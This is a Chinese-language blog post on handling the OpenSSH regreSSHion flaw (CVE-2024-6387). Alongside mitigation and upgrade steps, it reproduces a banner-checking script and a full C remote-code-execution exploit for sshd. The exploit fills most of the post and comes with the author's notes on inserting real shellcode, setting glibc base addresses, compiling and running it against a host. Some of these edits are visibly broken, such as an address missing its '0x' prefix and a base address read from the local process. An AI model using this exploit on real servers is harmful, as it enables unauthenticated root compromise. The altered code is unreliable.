LInux SSH Server远程代码执行漏洞 (CVE-2024-6387)处理

羌俊恩 2024-07-19 11:37:03 阅读 62

一、漏洞描述

2024年7月1日,OpenSSH Server中存在的一个RCE远程代码执行漏洞(CVE-2024-6387,又被称为regreSSHion)细节被公开,该漏洞影响基于glibc的Linux系统上的OpenSSH Server (sshd)。

在这里插入图片描述

默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime内(默认情况下为120秒,旧版OpenSSH中为600秒)进行身份验证,则sshd的SIGALRM处理程序将被异步调用,但该信号处理程序会调用非异步信号安全的函数,最终造成Double-Free内存管理问题。威胁者可利用该漏洞在基于glibc的Linux系统上以root身份实现未经身份验证的远程代码执行。根据已公开技术细节中的描述,在开启ASLR的i386设备上,利用该漏洞大约需要6-8小时获取root shell,在开启ASLR的amd64设备上则可能需要约一周左右。另据悉,现有的利用POC验证需要基于 glibc 的 Linux 系统,并且当前已知的利用方案仅针对 32 位系统有效,但对64位系统的利用也被认为是可能得,虽目前尚未证明,但很可能这些攻击将得到改进从而对64位OS漏洞进行成功利用,但OpenBSD类 OS不受该漏洞影响,更多参看OpenSSH 9.8发布说明。

影响范围:

OpenSSH < 4.4p1(不含已修复CVE-2006-5051( 8.5p1已修复)和CVE-2008-4109的实例)

8.5p1 <= OpenSSH < 9.8p1 # 注:OpenBSD系统不受该漏洞影响。

Red Hat Enterprise Linux 9,该缺陷不会影响Red Hat Enterprise Linux 8附带的OpenSSH版本,因其中所涉易受攻击的代码是在上游的较新OpenSSH版本中引入的,且未向后移植到Red Hat Enterprise Linux 8。

临时缓解:

/etc/ssh/sshd_config配置LoginGraceTime 0,该参数用于指定成功验证SSH服务器的时间。宽限期的时间越长,可存在开放的未认证连接暴露面越大,(默认值为120) 。宽限期应限制在适当的范围内,以确保服务是用于所需的访问。或直接执行:sed -i “s/#LoginGraceTime 2m/LoginGraceTime 60/g” /etc/ssh/sshd_config ;请注意,使用该配置会导致MaxStartups连接耗尽,从而使sshd易受拒绝服务攻击,但可以缓解本漏洞的风险。也可使用iptables等防火墙最小化控制SSH访问范围,可监控最大连接数发现异常。

关联资源:ubuntu公告及补丁、cve-2024-6387细节、RCE漏洞说明、漏洞POC恶意代码、openssh-portable

二、处理验证

1)POC测试验证

<code>git clone https://github.com/shamo0/CVE-2024-6387_PoC //如下所示

Cloning into 'CVE-2024-6387_PoC'...

remote: Enumerating objects: 9, done.

remote: Counting objects: 100% (9/9), done.

remote: Compressing objects: 100% (8/8), done.

remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0

Receiving objects: 100% (9/9), done.

cd CVE-2024-6387_PoC/

chmod +x check.sh

#执行脚本,验证

#如果输出:vulnerable (running SSH version).就表明当前SSH server版本受影响,否则输出:not vulnerable (running SSH version)

#执行:check.sh <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]

./check.sh 127.0.0.1 --port=10087 --timeout=120ms #可以跟多个ip,依赖nc命令,需先安装nmap,输出如下:

./check.sh: line 18: warning: command substitution: ignored null byte in input

127.0.0.1:10087 not vulnerable (running SSH-2.0-OpenSSH_8.8

|tнܗg6Өn墵rve25519-sha256,curve25519-sha256@libssh.……

#验证脚本

#!/bin/bash

check_vulnerability() {

local ip="$1"code>

local port="$2"code>

local timeout="$3"code>

# Check if port is open

nc -z -w "$timeout" "$ip" "$port"

local port_status="$?"code>

if [ "$port_status" != 0 ]; then

echo "$ip:$port closed"

return

fi

# Retrieve SSH banner 。这里不准,现场OpenSSH_8.8p1,但探测出来的是OpenSSH_8.8,这是因为ssh -V:显示的是本地安装的SSH客户端的版本信息,这里nc或ssh-keyscan显示的是ssh server返回支持的密钥类型数采用的ssh协议的兼容ssh的版本,也不是server的

banner=$(echo "SSH-2.0-OpenSSH" | nc -w "$timeout" "$ip" "$port")

# Check for vulnerable versions

vulnerable_versions=(

"SSH-2.0-OpenSSH_8.5p1"

"SSH-2.0-OpenSSH_8.6p1"

"SSH-2.0-OpenSSH_8.7p1"

"SSH-2.0-OpenSSH_8.8p1"

"SSH-2.0-OpenSSH_8.9p1"

"SSH-2.0-OpenSSH_9.0p1"

"SSH-2.0-OpenSSH_9.1p1"

"SSH-2.0-OpenSSH_9.2p1"

"SSH-2.0-OpenSSH_9.3p1"

"SSH-2.0-OpenSSH_9.4p1"

"SSH-2.0-OpenSSH_9.5p1"

"SSH-2.0-OpenSSH_9.6p1"

"SSH-2.0-OpenSSH_9.7p1"

)

# Check if banner contains any vulnerable version

for version in "${vulnerable_versions[@]}"; do

if [[ "$banner" == *"$version"* ]]; then

echo "$ip:$port vulnerable (running $banner)"

return

fi

done

echo "$ip:$port not vulnerable (running $banner)"

}

main() {

if [ $# -eq 0 ]; then

echo "Usage: $0 <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]"

exit 1

fi

port=22

timeout=1.0

# Parse arguments

while [ $# -gt 0 ]; do

case "$1" in

--port=*)

port="${1#*=}"code>

shift

;;

--timeout=*)

timeout="${1#*=}"code>

shift

;;

*)

ips+=("$1")

shift

;;

esac

done

# Perform vulnerability check for each IP

for ip in "${ips[@]}"; do

check_vulnerability "$ip" "$port" "$timeout"

done

}

main "$@"

#POC C代码

/** 7etsuo-regreSSHion.c

* -------------------------------------------------------------------------

* SSH-2.0-OpenSSH_9.2p1 Exploit

* -------------------------------------------------------------------------

*

* Exploit Title : SSH Exploit for CVE-2024-6387 (regreSSHion)

* Author : 7etsuo

* Date : 2024-07-01

*

* Description:

* Targets a signal handler race condition in OpenSSH's

* server (sshd) on glibc-based Linux systems. It exploits a vulnerability

* where the SIGALRM handler calls async-signal-unsafe functions, leading

* to rce as root.

*

* Notes:

* 1. Shellcode : Replace placeholder with actual payload.

* 2. GLIBC_BASES : Needs adjustment for specific target systems.

* 3. Timing parameters: Fine-tune based on target system responsiveness.某些漏洞利用可能需要精确的时间控制。测试人员需要根据目标系统的响应时间来调整这些参数,以确保漏洞利用的时机正确

* 4. Heap layout : Requires tweaking for different OpenSSH versions.漏洞利用涉及到特定的堆布局或内存结构,可能需要针对不同的OpenSSH版本或其他软件版本调整代码。

* 5. File structure offsets: Verify for the specific glibc version.利用涉及到特定的文件结构偏移,这些偏移可能因glibc版本而异,需要进行相应的验证和调整。

* -------------------------------------------------------------------------

*/

#include <stdlib.h>

#include <unistd.h>

#include <time.h>

#include <string.h>

#include <errno.h>

#include <fcntl.h>

#include <stdint.h>

#include <stdio.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <time.h>

#define MAX_PACKET_SIZE (256 * 1024)

#define LOGIN_GRACE_TIME 120

#define MAX_STARTUPS 100

#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)

//glibc基地址可能需要根据目标系统的实际ASLR布局进行调整。测试人员需要确定并使用正确的基地址来绕过ASLR。

uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };

int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)

unsigned char shellcode[] = "\x90\x90\x90\x90";

int setup_connection (const char *ip, int port);

void send_packet (int sock, unsigned char packet_type,

const unsigned char *data, size_t len);

void prepare_heap (int sock);

void time_final_packet (int sock, double *parsing_time);

int attempt_race_condition (int sock, double parsing_time,

uint64_t glibc_base);

double measure_response_time (int sock, int error_type);

void create_public_key_packet (unsigned char *packet, size_t size,

uint64_t glibc_base);

void create_fake_file_structure (unsigned char *data, size_t size,

uint64_t glibc_base);

void send_ssh_version (int sock);

int receive_ssh_version (int sock);

void send_kex_init (int sock);

int receive_kex_init (int sock);

int perform_ssh_handshake (int sock);

int

main (int argc, char *argv[])

{

if (argc != 3)

{

fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);

exit (1);

}

const char *ip = argv[1];

int port = atoi (argv[2]);

double parsing_time = 0;

int success = 0;

srand (time (NULL));

// Attempt exploitation for each possible glibc base address

for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)

{

uint64_t glibc_base = GLIBC_BASES[base_idx];

printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

// The advisory mentions "~10,000 tries on average"

for (int attempt = 0; attempt < 20000 && !success; attempt++)

{

if (attempt % 1000 == 0)

{

printf ("Attempt %d of 20000\n", attempt);

}

int sock = setup_connection (ip, port);

if (sock < 0)

{

fprintf (stderr, "Failed to establish connection, attempt %d\n",

attempt);

continue;

}

if (perform_ssh_handshake (sock) < 0)

{

fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);

close (sock);

continue;

}

prepare_heap (sock);

time_final_packet (sock, &parsing_time);

if (attempt_race_condition (sock, parsing_time, glibc_base))

{

printf ("Possible exploitation success on attempt %d with glibc "

"base 0x%lx!\n",

attempt, glibc_base);

success = 1;

break;

}

close (sock);

usleep (100000); // 100ms delay between attempts, as mentioned in the

// advisory

}

}

return !success;

}

int

setup_connection (const char *ip, int port)

{

int sock = socket (AF_INET, SOCK_STREAM, 0);

if (sock < 0)

{

perror ("socket");

return -1;

}

struct sockaddr_in server_addr;

memset (&server_addr, 0, sizeof (server_addr));

server_addr.sin_family = AF_INET;

server_addr.sin_port = htons (port);

if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)

{

perror ("inet_pton");

close (sock);

return -1;

}

if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))

< 0)

{

perror ("connect");

close (sock);

return -1;

}

// Set socket to non-blocking mode

int flags = fcntl (sock, F_GETFL, 0);

fcntl (sock, F_SETFL, flags | O_NONBLOCK);

return sock;

}

void

send_packet (int sock, unsigned char packet_type, const unsigned char *data,

size_t len)

{

unsigned char packet[MAX_PACKET_SIZE];

size_t packet_len = len + 5;

packet[0] = (packet_len >> 24) & 0xFF;

packet[1] = (packet_len >> 16) & 0xFF;

packet[2] = (packet_len >> 8) & 0xFF;

packet[3] = packet_len & 0xFF;

packet[4] = packet_type;

memcpy (packet + 5, data, len);

if (send (sock, packet, packet_len, 0) < 0)

{

perror ("send_packet");

}

}

void

send_ssh_version (int sock)

{ //这里更新为自己的ssh版本,现场更新为:OpenSSH_8.8p1

const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";

if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)

{

perror ("send ssh version");

}

}

int

receive_ssh_version (int sock)

{

char buffer[256];

ssize_t received;

do

{

received = recv (sock, buffer, sizeof (buffer) - 1, 0);

}

while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

if (received > 0)

{

buffer[received] = '\0';

printf ("Received SSH version: %s", buffer);

return 0;

}

else if (received == 0)

{

fprintf (stderr, "Connection closed while receiving SSH version\n");

}

else

{

perror ("receive ssh version");

}

return -1;

}

void

send_kex_init (int sock)

{

unsigned char kexinit_payload[36] = { 0 };

send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));

}

int

receive_kex_init (int sock)

{

unsigned char buffer[1024];

ssize_t received;

do

{

received = recv (sock, buffer, sizeof (buffer), 0);

}

while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

if (received > 0)

{

printf ("Received KEX_INIT (%zd bytes)\n", received);

return 0;

}

else if (received == 0)

{

fprintf (stderr, "Connection closed while receiving KEX_INIT\n");

}

else

{

perror ("receive kex init");

}

return -1;

}

int

perform_ssh_handshake (int sock)

{

send_ssh_version (sock);

if (receive_ssh_version (sock) < 0)

return -1;

send_kex_init (sock);

if (receive_kex_init (sock) < 0)

return -1;

return 0;

}

void

prepare_heap (int sock)

{

// Packet a: Allocate and free tcache chunks

for (int i = 0; i < 10; i++)

{

unsigned char tcache_chunk[64];

memset (tcache_chunk, 'A', sizeof (tcache_chunk));

send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));

// These will be freed by the server, populating tcache

}

// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes

for (int i = 0; i < 27; i++)

{

// Allocate large chunk (~8KB)

unsigned char large_hole[8192];

memset (large_hole, 'B', sizeof (large_hole));

send_packet (sock, 5, large_hole, sizeof (large_hole));

// Allocate small chunk (320B)

unsigned char small_hole[320];

memset (small_hole, 'C', sizeof (small_hole));

send_packet (sock, 5, small_hole, sizeof (small_hole));

}

// Packet c: Write fake headers, footers, vtable and _codecvt pointers

for (int i = 0; i < 27; i++)

{

unsigned char fake_data[4096];

create_fake_file_structure (fake_data, sizeof (fake_data),

GLIBC_BASES[0]);

send_packet (sock, 5, fake_data, sizeof (fake_data));

}

// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)

unsigned char large_string[MAX_PACKET_SIZE - 1];

memset (large_string, 'E', sizeof (large_string));

send_packet (sock, 5, large_string, sizeof (large_string));

}

void

create_fake_file_structure (unsigned char *data, size_t size,

uint64_t glibc_base)

{

memset (data, 0, size);

struct

{

void *_IO_read_ptr;

void *_IO_read_end;

void *_IO_read_base;

void *_IO_write_base;

void *_IO_write_ptr;

void *_IO_write_end;

void *_IO_buf_base;

void *_IO_buf_end;

void *_IO_save_base;

void *_IO_backup_base;

void *_IO_save_end;

void *_markers;

void *_chain;

int _fileno;

int _flags;

int _mode;

char _unused2[40];

void *_vtable_offset;

} *fake_file = (void *)data;

// Set _vtable_offset to 0x61 as described in the advisory

fake_file->_vtable_offset = (void *)0x61;

// Set up fake vtable and _codecvt pointers

*(uint64_t *)(data + size - 16)

= glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)

*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt

}

void

time_final_packet (int sock, double *parsing_time)

{

double time_before = measure_response_time (sock, 1);

double time_after = measure_response_time (sock, 2);

*parsing_time = time_after - time_before;

printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);

}

double

measure_response_time (int sock, int error_type)

{

unsigned char error_packet[1024];

size_t packet_size;

if (error_type == 1)

{

// Error before sshkey_from_blob

packet_size = snprintf ((char *)error_packet, sizeof (error_packet),

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");

}

else

{

// Error after sshkey_from_blob

packet_size = snprintf ((char *)error_packet, sizeof (error_packet),

"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");

}

struct timespec start, end;

clock_gettime (CLOCK_MONOTONIC, &start);

send_packet (sock, 50, error_packet,

packet_size); // SSH_MSG_USERAUTH_REQUEST

char response[1024];

ssize_t received;

do

{

received = recv (sock, response, sizeof (response), 0);

}

while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

clock_gettime (CLOCK_MONOTONIC, &end);

double elapsed

= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;

return elapsed;

}

void

create_public_key_packet (unsigned char *packet, size_t size,

uint64_t glibc_base)

{

memset (packet, 0, size);

size_t offset = 0;

for (int i = 0; i < 27; i++)

{

// malloc(~4KB) - This is for the large hole

*(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);

offset += CHUNK_ALIGN (4096);

// malloc(304) - This is for the small hole (potential FILE structure)

*(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);

offset += CHUNK_ALIGN (304);

}

// Add necessary headers for the SSH public key format

memcpy (packet, "ssh-rsa ", 8);

// Place shellcode in the heap via previous allocations

//测试人员需要将这里的NOP滑梯或占位符替换为实际的shellcode有效载荷,以实现所需的后利用行为

memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,

sizeof (shellcode));

// Set up the fake FILE structures within the packet

for (int i = 0; i < 27; i++)

{

create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)

+ CHUNK_ALIGN (304) * i,

CHUNK_ALIGN (304), glibc_base);

}

}

int

attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base) //漏洞触发逻辑

{

unsigned char final_packet[MAX_PACKET_SIZE];

create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

// Send all but the last byte

if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)

{

perror ("send final packet");

return 0;

}

// Precise timing for last byte

struct timespec start, current;

clock_gettime (CLOCK_MONOTONIC, &start);

while (1)

{

clock_gettime (CLOCK_MONOTONIC, &current);

double elapsed = (current.tv_sec - start.tv_sec)

+ (current.tv_nsec - start.tv_nsec) / 1e9;

if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))

{ // 1ms before SIGALRM

if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)

{

perror ("send last byte");

return 0;

}

break;

}

}

// Check for successful exploitation

char response[1024];

ssize_t received = recv (sock, response, sizeof (response), 0);

if (received > 0)

{

printf ("Received response after exploit attempt (%zd bytes)\n",

received);

// Analyze response to determine if we hit the "large" race window

if (memcmp (response, "SSH-2.0-", 8) != 0)

{

printf ("Possible hit on 'large' race window\n");

return 1;

}

}

else if (received == 0)

{

printf (

"Connection closed by server - possible successful exploitation\n");

return 1;

}

else if (errno == EWOULDBLOCK || errno == EAGAIN)

{

printf ("No immediate response from server - possible successful "

"exploitation\n");

return 1;

}

else

{

perror ("recv");

}

return 0;

}

int

perform_exploit (const char *ip, int port)

{

int success = 0;

double parsing_time = 0;

double timing_adjustment = 0;

for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)

{

uint64_t glibc_base = GLIBC_BASES[base_idx];

printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

for (int attempt = 0; attempt < 10000 && !success; attempt++)

{

if (attempt % 1000 == 0)

{

printf ("Attempt %d of 10000\n", attempt);

}

int sock = setup_connection (ip, port);

if (sock < 0)

{

fprintf (stderr, "Failed to establish connection, attempt %d\n",

attempt);

continue;

}

if (perform_ssh_handshake (sock) < 0)

{

fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);

close (sock);

continue;

}

prepare_heap (sock);

time_final_packet (sock, &parsing_time);

// Implement feedback-based timing strategy

parsing_time += timing_adjustment;

if (attempt_race_condition (sock, parsing_time, glibc_base))

{

printf ("Possible exploitation success on attempt %d with glibc "

"base 0x%lx!\n",

attempt, glibc_base);

success = 1;

// In a real exploit, we would now attempt to interact with the

// shell

}

else

{

// Adjust timing based on feedback

timing_adjustment += 0.00001; // Small incremental adjustment

}

close (sock);

usleep (100000); // 100ms delay between attempts, as mentioned in the

// advisory

}

}

return success;

}

#修改对应glibc 地址

#// Possible glibc base addresses (for ASLR bypass)

#uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 }; 修改这里

ldd --version #确认现场glibc版本

ldd (GNU libc) 2.34

cat /proc/self/maps |grep -i libc-* #确定glibc的基地址(内存区域的起始地址),结果出来的64位的

7db006aeb000-7db006b17000 r--p 00000000 08:01 395141 /usr/lib64/libc.so.6

7db006b17000-7db006c88000 r-xp 0002c000 08:01 395141 /usr/lib64/libc.so.6

7db006c88000-7db006cd9000 r--p 0019d000 08:01 395141 /usr/lib64/libc.so.6

7db006cd9000-7db006cdc000 r--p 001ed000 08:01 395141 /usr/lib64/libc.so.6

7db006cdc000-7db006cdf000 rw-p 001f0000 08:01 395141 /usr/lib64/libc.so.6

//即基地址为:0x7db006aeb000,0x7db006cdf000

uint64_t GLIBC_BASES[] = { 0x7db006aeb000, 7db006cdf000 };

//替换你Linux系统中实际使用的shellcode

#编译

gcc -o ssh_poc ./regreSSHion.c

#验证

./ssh_poc ip port #程序的输出将是一个整数,表示成功(0)或失败(非0值),如果漏洞利用成功,攻击者通常会尝试与目标服务器上的交互式shell进行交互

Attempting exploitation with glibc base: 0xb7200000 #表示程序正在尝试使用给定的glibc基地址(0xb7200000)来进行漏洞利用

Attempt 0 of 20000 #这是程序的第一次尝试,它将尝试总共20000次,以找到正确的时机来触发竞争条件

Received SSH version: SSH-2.0-OpenSSH_8.8 #程序已经完成了SSH版本号的交换和KEX_INIT的接收,这是SSH握手过程的一部分

Received KEX_INIT (1024 bytes)

Estimated parsing time: 0.000364 seconds #程序估计了服务器处理数据包的时间,这个时间将用于后续触发竞争条件的精确时间计算。

现场为BClinux-Euler22.10版本,基于openEuler22.03,验证效果如下所示:

在这里插入图片描述

2)如果不放心请升级到最新版本(OpenSSH 9.8p1)或编译安装最新版本

参看:ssh升级, 现场:BigCloud Enterprise Linux For Euler 22.10 LTS,OpenSSH_8.8p1, OpenSSL 1.1.1m,经测试不涉及上述漏洞,但也存在该漏洞目前限于32位OS所致,所以不放心还是建议升级到OpenSSH 9.8p1。

在这里插入图片描述

<code>#以下仅用于openbsd系统

wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/openssh-9.8.tar.gz # July 1, 2024

tar zxvf .../openssh-9.8.tar.gz

cd ssh

mkdir obj

mkdir cleandir

make depend

make

make install #这一步也不必要

cp ssh_config sshd_config /etc/ssh # 可选,一般用原来的备份恢复,

#restart sshd.

#其他源码,依赖c、libcrypto(LibreSSL or OpenSSL)库、zlib(可选)、libfido2 (FIDO security token)

https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p1.tar.gz

cd openssh

./configure --prefix=/usr/local/ssh8.6 --sysconfdir=/etc/ssh --with-pam --with-kerberos5 --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl1.1.1 --with-md5-passwords --with-ssl-engine --disable-etc-default-login #更多参看 README.platform,或--help查看

make && make tests

#或

git clone https://github.com/openssh/openssh-portable # or https://anongit.mindrot.org/openssh.git

cd openssh-portable

autoreconf

./configure

make && make tests

现场为移动云产品,经确认官方已修复该漏洞,详见修复说明,需升级到openssh-8.8p1-31.oe2203.bclinux.x86_64;本次影响系统包括:el7、oe22.10、oe22.10U、oe22.10U2,其他版本el8、oe21.10不受影响

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-8.8p1-31.oe2203.bclinux.x86_64.rpm

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-askpass-8.8p1-31.oe2203.bclinux.x86_64.rpm

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-clients-8.8p1-31.oe2203.bclinux.x86_64.rpm

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-keycat-8.8p1-31.oe2203.bclinux.x86_64.rpm

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-server-8.8p1-31.oe2203.bclinux.x86_64.rpm



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。